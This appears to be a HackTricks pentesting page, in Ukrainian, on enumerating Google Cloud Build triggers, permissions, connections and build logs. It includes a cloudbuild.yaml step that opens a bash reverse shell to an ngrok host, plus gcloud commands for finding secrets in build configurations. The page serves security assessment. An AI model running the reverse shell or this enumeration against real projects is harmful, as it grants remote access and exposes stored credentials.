GCP - Cloud Build Enum

Support HackTricks

Basic Information

Google Cloud Build - це керована CI/CD платформа, яка автоматизує процеси створення та випуску програмного забезпечення, інтегруючись з репозиторіями вихідного коду та підтримуючи широкий спектр мов програмування. Вона дозволяє розробникам автоматично створювати, тестувати та розгортати код, надаючи можливість налаштовувати етапи створення та робочі процеси.

Кожен тригер Cloud Build пов'язаний з Cloud Repository або безпосередньо підключений до зовнішнього репозиторію (Github, Bitbucket та Gitlab).

Я не зміг знайти жодного способу вкрасти токен Github/Bitbucket звідси або з Cloud Repositories, оскільки, коли репозиторій завантажується, до нього звертаються через URL https://source.cloud.google.com/, а Github не доступний клієнту.

Events

Cloud Build може бути активований, якщо:

  • Push до гілки: Вкажіть гілку

  • Push нового тегу: Вкажіть тег

  • Pull request: Вкажіть гілку, яка отримує PR

  • Ручний виклик

  • Повідомлення Pub/Sub: Вкажіть тему

  • Подія Webhook: Відкриє HTTPS URL, і запит повинен бути автентифікований за допомогою секрету

Execution

Є 3 варіанти:

  • YAML/JSON з вказівкою команд для виконання. Зазвичай: /cloudbuild.yaml

  • Лише один, який можна вказати “inline” у веб-консолі та в CLI

  • Найбільш поширений варіант

  • Важливий для неавтентифікованого доступу

  • Dockerfile для створення

  • Buildpack для створення

SA Permissions

Обліковий запис служби має область cloud-platform, тому він може використовувати всі привілеї. Якщо не вказано SA (як при подачі), буде використано за замовчуванням SA <proj-number>@cloudbuild.gserviceaccount.com.

За замовчуванням не надаються жодні дозволи, але їх досить легко надати:

Approvals

Можна налаштувати Cloud Build так, щоб вимагати схвалення для виконання збірок (за замовчуванням вимкнено).

PR Approvals

Коли тригер є PR, оскільки будь-хто може виконувати PR до публічних репозиторіїв, було б дуже небезпечно просто дозволити виконання тригера з будь-яким PR. Тому за замовчуванням виконання буде автоматичним лише для власників та співпрацівників, і для виконання тригера з PR інших користувачів власник або співпрацівник повинен прокоментувати /gcbrun.

Connections & Repositories

З'єднання можуть бути створені через:

  • GitHub: Відобразить запит OAuth, що запитує дозволи для отримання токена Github, який буде збережено в Secret Manager.

  • GitHub Enterprise: Запитає встановити GithubApp. Токен автентифікації з вашого хосту GitHub Enterprise буде створено та збережено в цьому проекті як секрет Secret Manager.

  • GitLab / Enterprise: Вам потрібно надати токен доступу API та токен доступу API для читання, які будуть збережені в Secret Manager.

Після створення з'єднання ви можете використовувати його для зв'язування репозиторіїв, до яких має доступ обліковий запис Github.

Ця опція доступна через кнопку:

Зверніть увагу, що репозиторії, підключені цим методом, доступні лише в тригерах, що використовують 2-ге покоління.

Connect a Repository

Це не те саме, що connection. Це дозволяє різні способи отримати доступ до репозиторію Github або Bitbucket, але не генерує об'єкт з'єднання, але генерує об'єкт репозиторію (1-го покоління).

Ця опція доступна через кнопку:

Storage

Іноді Cloud Build генерує нове сховище для зберігання файлів для тригера. Це відбувається, наприклад, у прикладі, який пропонує GCP з:

git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global

Сховище з назвою security-devbox_cloudbuild створено для зберігання .tgz з файлами, які будуть використані.

Отримати оболонку

steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY

Встановіть gcloud всередині cloud build:

# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh

Enumeration

Ви можете знайти чутливу інформацію в конфігураціях збірки та журналах.

# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done

Підвищення Привілеїв

GCP - Cloudbuild Privesc

Неавтентифікований Доступ

GCP - Cloud Build Unauthenticated Enum

Після Експлуатації

GCP - Cloud Build Post Exploitation
Support HackTricks

Last updated